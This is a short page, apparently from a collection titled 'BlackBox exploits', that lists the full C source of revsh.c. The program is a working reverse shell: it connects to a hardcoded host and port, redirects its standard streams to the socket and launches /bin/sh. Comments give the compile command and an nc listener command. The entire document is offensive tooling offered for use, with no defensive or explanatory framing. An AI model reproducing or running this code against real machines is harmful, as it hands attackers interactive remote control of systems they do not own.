BlackBox exploits # cat revsh.c
/* gcc -O2 revsh.c -o revsh */
/* nc -l -p 81 */

/********************************************
 * Reverse Shell                            *
 * Connects to MYADDR on PORT               *
 * run "nc -l -p <PORT>" on remote computer *
 ********************************************/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define MYADDR "10.4.4.1"
#define PORT 81

int main(int argc, char *argv[])
{
        int soc = socket(2, 1, 0);
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PORT);
        addr.sin_addr.s_addr = inet_addr(MYADDR);
        connect(soc, (struct sockaddr *)&addr, sizeof(struct sockaddr));
        dup2(soc, 0);
        dup2(soc, 1);
        dup2(soc, 2);
        execve("/bin/sh", 0, 0);
}